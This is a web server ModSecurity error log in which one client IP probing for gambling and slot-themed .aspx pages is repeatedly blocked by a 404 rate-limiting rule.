[Wed May 13 10:34:35.439497 2026] [:error] [pid 23787:tid 23870] [client 42.200.231.39:13058] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agPjOx1cs5wE7VT6wirNXAAAAJY"]
[Wed May 13 10:34:37.979097 2026] [:error] [pid 23787:tid 23867] [client 42.200.231.39:60799] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agPjPR1cs5wE7VT6wirNXwAAAJM"]
[Wed May 13 10:34:40.455716 2026] [:error] [pid 23887:tid 23915] [client 42.200.231.39:51485] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "agPjQNSKmvZJZkXBFDBDWQAAANQ"]
[Wed May 13 10:34:42.818347 2026] [:error] [pid 3259:tid 3278] [client 42.200.231.39:30365] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agPjQuWJB4YwcPVLeArC5wAAARE"]
[Wed May 13 10:34:45.074085 2026] [:error] [pid 23887:tid 23908] [client 42.200.231.39:52365] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agPjRdSKmvZJZkXBFDBDdAAAAM0"]
[Wed May 13 10:34:47.906355 2026] [:error] [pid 23887:tid 23897] [client 42.200.231.39:18129] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agPjR9SKmvZJZkXBFDBDegAAAMI"]
[Wed May 13 10:34:50.559997 2026] [:error] [pid 3259:tid 3274] [client 42.200.231.39:21273] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agPjSuWJB4YwcPVLeArC7wAAAQ0"]
[Wed May 13 10:34:53.095535 2026] [:error] [pid 3259:tid 3283] [client 42.200.231.39:5254] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agPjTeWJB4YwcPVLeArC8wAAARY"]
[Wed May 13 10:34:56.121086 2026] [:error] [pid 23887:tid 23915] [client 42.200.231.39:64457] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agPjUNSKmvZJZkXBFDBDiQAAANQ"]
[Wed May 13 10:34:58.776299 2026] [:error] [pid 23782:tid 23826] [client 42.200.231.39:26537] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agPjUiBrKFYHXUGnR-qdIQAAAEU"]
[Wed May 13 10:35:01.224116 2026] [:error] [pid 23787:tid 23848] [client 42.200.231.39:23641] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agPjVR1cs5wE7VT6wirNdAAAAIA"]
[Wed May 13 10:35:03.601605 2026] [:error] [pid 23787:tid 23872] [client 42.200.231.39:58039] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agPjVx1cs5wE7VT6wirNeAAAAJg"]
[Wed May 13 10:35:05.980724 2026] [:error] [pid 23787:tid 23850] [client 42.200.231.39:46160] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agPjWR1cs5wE7VT6wirNfQAAAII"]
[Wed May 13 10:35:08.667361 2026] [:error] [pid 23782:tid 23825] [client 42.200.231.39:64076] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "agPjXCBrKFYHXUGnR-qdKQAAAEQ"]
[Wed May 13 10:35:11.279869 2026] [:error] [pid 23787:tid 23869] [client 42.200.231.39:58286] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agPjXx1cs5wE7VT6wirNlQAAAJU"]
[Wed May 13 10:35:13.929853 2026] [:error] [pid 23887:tid 23907] [client 42.200.231.39:47414] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agPjYdSKmvZJZkXBFDBDrwAAAMw"]
[Wed May 13 10:35:17.157021 2026] [:error] [pid 23887:tid 23917] [client 42.200.231.39:21143] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agPjZdSKmvZJZkXBFDBDuAAAANY"]
[Wed May 13 10:35:19.623422 2026] [:error] [pid 23887:tid 23908] [client 42.200.231.39:64063] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "agPjZ9SKmvZJZkXBFDBDvQAAAM0"]
[Wed May 13 10:35:21.928897 2026] [:error] [pid 3259:tid 3269] [client 42.200.231.39:28580] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agPjaeWJB4YwcPVLeArDCQAAAQg"]
[Wed May 13 10:35:48.460958 2026] [:error] [pid 23782:tid 23842] [client 42.200.231.39:48835] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "agPjhCBrKFYHXUGnR-qdTgAAAFU"]
[Wed May 13 10:35:51.604843 2026] [:error] [pid 23887:tid 23908] [client 42.200.231.39:25979] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "agPjh9SKmvZJZkXBFDBD8gAAAM0"]
[Wed May 13 10:35:54.218153 2026] [:error] [pid 23887:tid 23904] [client 42.200.231.39:47861] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "agPjitSKmvZJZkXBFDBD9wAAAMk"]
[Wed May 13 10:35:56.679975 2026] [:error] [pid 23782:tid 23827] [client 42.200.231.39:31407] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "agPjjCBrKFYHXUGnR-qdUQAAAEY"]
[Wed May 13 10:35:59.099142 2026] [:error] [pid 23887:tid 23900] [client 42.200.231.39:22973] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agPjj9SKmvZJZkXBFDBEAQAAAMU"]
[Wed May 13 10:36:01.699730 2026] [:error] [pid 3259:tid 3274] [client 42.200.231.39:7646] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agPjkeWJB4YwcPVLeArDMwAAAQ0"]
[Wed May 13 10:36:04.080026 2026] [:error] [pid 3259:tid 3268] [client 42.200.231.39:36420] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "agPjlOWJB4YwcPVLeArDNwAAAQc"]
[Wed May 13 10:36:06.504401 2026] [:error] [pid 23887:tid 23914] [client 42.200.231.39:15399] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agPjltSKmvZJZkXBFDBEAwAAANM"]
[Wed May 13 10:36:08.879598 2026] [:error] [pid 3259:tid 3283] [client 42.200.231.39:13527] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agPjmOWJB4YwcPVLeArDPgAAARY"]
[Wed May 13 10:36:11.381072 2026] [:error] [pid 23887:tid 23897] [client 42.200.231.39:53135] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "agPjm9SKmvZJZkXBFDBEBgAAAMI"]
[Wed May 13 10:36:14.304537 2026] [:error] [pid 23787:tid 23850] [client 42.200.231.39:8713] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agPjnh1cs5wE7VT6wirNqwAAAII"]
[Wed May 13 10:36:17.176715 2026] [:error] [pid 23887:tid 23919] [client 42.200.231.39:46083] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agPjodSKmvZJZkXBFDBECgAAANg"]
[Wed May 13 10:36:20.257459 2026] [:error] [pid 23787:tid 23853] [client 42.200.231.39:51488] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agPjpB1cs5wE7VT6wirNsAAAAIU"]
[Wed May 13 10:36:23.981105 2026] [:error] [pid 3259:tid 3281] [client 42.200.231.39:50105] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agPjp-WJB4YwcPVLeArDRAAAARQ"]
[Wed May 13 10:36:26.785864 2026] [:error] [pid 23887:tid 23909] [client 42.200.231.39:6525] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agPjqtSKmvZJZkXBFDBEKgAAAM4"]
[Wed May 13 10:36:29.677473 2026] [:error] [pid 23887:tid 23907] [client 42.200.231.39:53220] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agPjrdSKmvZJZkXBFDBEMQAAAMw"]
[Wed May 13 10:36:32.563460 2026] [:error] [pid 23887:tid 23896] [client 42.200.231.39:39006] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agPjsNSKmvZJZkXBFDBEOwAAAME"]
[Wed May 13 10:36:35.429346 2026] [:error] [pid 23887:tid 23911] [client 42.200.231.39:2448] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agPjs9SKmvZJZkXBFDBEQAAAANA"]
[Wed May 13 10:36:38.421813 2026] [:error] [pid 23782:tid 23825] [client 42.200.231.39:27245] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agPjtiBrKFYHXUGnR-qdYwAAAEQ"]
[Wed May 13 10:36:40.957601 2026] [:error] [pid 23780:tid 23794] [client 42.200.231.39:30532] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agPjuHXgOibPjrXgeTBdKAAAAAA"]
[Wed May 13 10:36:43.708873 2026] [:error] [pid 23787:tid 23867] [client 42.200.231.39:40481] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agPjux1cs5wE7VT6wirNwgAAAJM"]
[Wed May 13 10:37:12.372229 2026] [:error] [pid 23887:tid 23913] [client 42.200.231.39:59982] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agPj2NSKmvZJZkXBFDBEewAAANI"]
[Wed May 13 10:37:14.979324 2026] [:error] [pid 23887:tid 23919] [client 42.200.231.39:8587] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agPj2tSKmvZJZkXBFDBEfgAAANg"]
[Wed May 13 10:37:17.373457 2026] [:error] [pid 23887:tid 23907] [client 42.200.231.39:21915] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agPj3dSKmvZJZkXBFDBEgwAAAMw"]
[Wed May 13 10:37:20.458471 2026] [:error] [pid 23787:tid 23859] [client 42.200.231.39:27618] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agPj4B1cs5wE7VT6wirN8gAAAIs"]
[Wed May 13 10:37:23.235789 2026] [:error] [pid 23887:tid 23895] [client 42.200.231.39:38012] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agPj49SKmvZJZkXBFDBEhgAAAMA"]
[Wed May 13 10:37:25.682496 2026] [:error] [pid 23780:tid 23805] [client 42.200.231.39:28882] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agPj5XXgOibPjrXgeTBdNQAAAAs"]
[Wed May 13 10:37:28.507608 2026] [:error] [pid 23887:tid 23904] [client 42.200.231.39:59203] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agPj6NSKmvZJZkXBFDBEjQAAAMk"]
[Wed May 13 10:37:30.931147 2026] [:error] [pid 23780:tid 23800] [client 42.200.231.39:56879] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agPj6nXgOibPjrXgeTBdOgAAAAY"]
[Wed May 13 10:37:33.551509 2026] [:error] [pid 23787:tid 23853] [client 42.200.231.39:21114] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "agPj7R1cs5wE7VT6wirN-wAAAIU"]
[Wed May 13 10:37:36.166016 2026] [:error] [pid 23787:tid 23870] [client 42.200.231.39:52872] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "agPj8B1cs5wE7VT6wirN_gAAAJY"]
[Wed May 13 10:37:38.861664 2026] [:error] [pid 23780:tid 23810] [client 42.200.231.39:13989] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agPj8nXgOibPjrXgeTBdPwAAABA"]
[Wed May 13 10:37:41.613710 2026] [:error] [pid 23787:tid 23852] [client 42.200.231.39:6010] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agPj9R1cs5wE7VT6wirOBAAAAIQ"]
[Wed May 13 10:37:44.296346 2026] [:error] [pid 23780:tid 23814] [client 42.200.231.39:26130] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agPj-HXgOibPjrXgeTBdQQAAABQ"]
[Wed May 13 10:37:46.802588 2026] [:error] [pid 23887:tid 23909] [client 42.200.231.39:47096] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agPj-tSKmvZJZkXBFDBEnwAAAM4"]
[Wed May 13 10:37:48.967541 2026] [:error] [pid 23782:tid 23831] [client 42.200.231.39:60581] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agPj_CBrKFYHXUGnR-qdywAAAEo"]
